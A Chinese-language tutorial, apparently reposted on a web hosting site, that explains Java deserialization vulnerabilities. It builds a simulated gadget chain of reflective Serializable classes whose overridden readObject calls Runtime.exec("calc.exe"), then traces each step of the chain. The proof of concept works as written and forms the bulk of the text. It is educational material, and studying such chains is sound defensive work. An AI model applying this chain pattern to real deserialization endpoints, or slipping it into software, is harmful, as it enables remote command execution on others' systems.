您好,登錄后才能下訂單哦!
測試代碼:
package test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class ReflectionPlay implements Serializable{
public static void main(String[] args) throws Exception {
new ReflectionPlay().run();
}
public void run() throws Exception {
byte[] ObjectBytes=serialize(getObject());
deserialize(ObjectBytes);
}
//在此方法中返回惡意對象
public Object getObject() {
String command = "calc.exe";
Object firstObject = Runtime.class;
ReflectionObject[] reflectionChains = {
/*
* Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime",
new Class[] {}).invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
*
* */
//調(diào)用 Runtime.class 的getMethod方法,尋找 getRuntime方法,得到一個Method對象(getRuntime方法)
//等同于 Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//調(diào)用 Method 的 invoker 方法可以得到一個Runtime對象
// 等同于 method.invoke(null),靜態(tài)方法不用傳入對象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//調(diào)用RunTime對象的exec方法,并將 command作為參數(shù)執(zhí)行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
};
return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
}
/*
* 序列化對象到byte數(shù)組
* */
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
/*
* 從byte數(shù)組中反序列化對象
* */
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
/*
* 一個模擬擁有漏洞的類,主要提供的功能是根據(jù)自己的屬性中的值來進(jìn)行反射調(diào)用
* */
class ReflectionObject implements Serializable{
private String methodName;
private Class[] paramTypes;
private Object[] args;
public ReflectionObject(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}
//根據(jù) methodName, paramTypes 來尋找對象的方法,利用 args作為參數(shù)進(jìn)行調(diào)用
public Object transform(Object input) throws Exception {
Class inputClass = input.getClass();
return inputClass.getMethod(methodName, paramTypes).invoke(input, args);
}
}
/*
* 一個用來模擬提供惡意代碼的類,
* 主要的功能是將 ReflectionObject進(jìn)行串聯(lián)調(diào)用,與ReflectionObject一起構(gòu)成漏洞代碼的一部分
* */
class ReflectionChains implements Serializable{
private Object firstObject;
private ReflectionObject[] reflectionObjects;
public ReflectionChains(Object firstObject, ReflectionObject[] reflectionObjects) {//ReflectionChains構(gòu)造方法
this.firstObject = firstObject;
this.reflectionObjects = reflectionObjects;
}
public Object execute() throws Exception {
Object concurrentObject = firstObject;
for (ReflectionObject reflectionObject : reflectionObjects) {
concurrentObject = reflectionObject.transform(concurrentObject);
System.out.println(concurrentObject);
}
return concurrentObject;
}
}
/**
* 一個等待序列化的類,擁有一個屬性和一個重寫了的readObject方法
* 并且在readObject方法中執(zhí)行了該屬性的一個方法
* */
class ReadObject implements Serializable {
private ReflectionChains reflectionChains;
public ReadObject(ReflectionChains reflectionChains) {
this.reflectionChains = reflectionChains;
}
//當(dāng)反序列化的時候,這個代碼會被調(diào)用
//該方法被調(diào)用的時候其屬性都是空
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
try {
//用來模擬當(dāng)readObject的時候,對自身的屬性進(jìn)行了一些額外的操作
reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
reflectionChains.execute();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
運行結(jié)果:
涉及到的類:
類名 | 是否繼承 Serializable | 方法名 |
---|---|---|
ReflectionObject | 繼承 | transform |
ReflectionChains | 繼承 | execute |
ReadObject | 繼承 | readObject(重寫) |
注:要想產(chǎn)生反序列漏洞,需要重寫readObjec方法
代碼流程:
getObject(); 生成一個ReflectionObject數(shù)組,包含三個ReflectionObject對象;然后使用ReflectionObject數(shù)組生成一個ReflectionChains對象,繼續(xù)使用ReflectionChains對象生成一個ReadObject對象
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//調(diào)用 Method 的 invoker 方法可以得到一個Runtime對象
// 等同于 method.invoke(null),靜態(tài)方法不用傳入對象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//調(diào)用RunTime對象的exec方法,并將 command作為參數(shù)執(zhí)行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
};
return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
try {
//用來模擬當(dāng)readObject的時候,對自身的屬性進(jìn)行了一些額外的操作
reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
reflectionChains.execute();
} catch (Exception e) {
e.printStackTrace();
}
}
在這里我們需要注重看
在生成ReadObject對象時傳入的參數(shù)是ReflectionChains對象,所以這里調(diào)用的execute()方法就是ReflectionChains的execute()方法。
接著分析ReflectionChains的execute()方法:
public Object execute() throws Exception {
Object concurrentObject = firstObject;
for (ReflectionObject reflectionObject : reflectionObjects) {
concurrentObject = reflectionObject.transform(concurrentObject);
System.out.println(concurrentObject);
}
return concurrentObject;
}
關(guān)鍵代碼:
由上面可知生成ReflectionChains對象時傳入的參數(shù)是ReflectionObject數(shù)組,這段代碼的含義便是:遍歷ReflectionObject數(shù)組,每一個元素(ReflectionObject)執(zhí)行transform方法
繼續(xù)分析ReflectionObject的transform方法:
public Object transform(Object input) throws Exception {
Class inputClass = input.getClass(); 得到input對象是那個類的類名
return inputClass.getMethod(methodName, paramTypes).invoke(input, args); 通過類名調(diào)用該類的某一方法
}
注意:
通過以上分析可以了解到,進(jìn)行反序列化的反射鏈為:
deserialize(ObjectBytes); 調(diào)用ReadObject類的readObject方法;接下來調(diào)用ReflectionChains類的execute方法;接下來通過遍歷ReflectionObject數(shù)組調(diào)用ReflectionObject類的transform方法
通過以上代碼分析看,最終需要執(zhí)行的便是以下代碼:
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//調(diào)用 Method 的 invoker 方法可以得到一個Runtime對象
// 等同于 method.invoke(null),靜態(tài)方法不用傳入對象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//調(diào)用RunTime對象的exec方法,并將 command作為參數(shù)執(zhí)行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
等同于執(zhí)行了:Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
等同于執(zhí)行了:method.invoke(null),靜態(tài)方法不用傳入對象
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
RunTime對象的exec方法,并將 command作為參數(shù)執(zhí)行命令
第一個對象執(zhí)行完成:
Runtime.class.getMethod("getRuntime", new Class[0]);
輸出的結(jié)果:java.lang.Runtime.getRuntime() 輸出的是一個類
第二個對象執(zhí)行完成:
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
輸出結(jié)果:java.lang.Runtime@74a14482 輸出的是一個Runtime的對象
第二個對象執(zhí)行完成:
Runtime t = (Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
t.exec("calc.exe")
package test;
import java.lang.reflect.InvocationTargetException;
public class test5 {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException {
//Class inputClass = input.getClass();
//inputClass.getMethod(methodName, paramTypes).invoke(input, args)
//new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})
Class inputClass1 = Runtime.class.getClass();
Object concurrentObject1 = inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
System.out.println(inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]}));
//public static java.lang.Runtime java.lang.Runtime.getRuntime()
//new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})
Class inputClass2 = concurrentObject1.getClass();
Object concurrentObject2 = inputClass2.getMethod("invoke",new Class[]{Object.class, Object[].class}).invoke(concurrentObject1, new Object[]{null, new Object[0]});
System.out.println(concurrentObject2);
//java.lang.Runtime@3d4eac69
//new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
Class inputClass3 = concurrentObject2.getClass();
Object concurrentObject3 = inputClass3.getMethod("exec",new Class[]{String.class}).invoke(concurrentObject2,new Object[]{"calc.exe"});
System.out.println(concurrentObject3);
/*
* 對比user類:
* inputClass.getMethod(methodName, paramTypes).invoke(input, args)
* 對參數(shù)說明:
* inputClass user.getClass()
* methodName 調(diào)用的方法名稱
* paramTypes 調(diào)用方法的參數(shù)類型
* input 是 inputClass的一個對象
* args 調(diào)用方法的參數(shù)
*
* 函數(shù)返回結(jié)果:
* input對象調(diào)用methodName的方法(傳入的參數(shù)是args)返回的結(jié)果:比如 void setName(String name){} 返回的是null
* */
}
}
參考鏈接:http://www.freebuf.com/vuls/170344.html
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。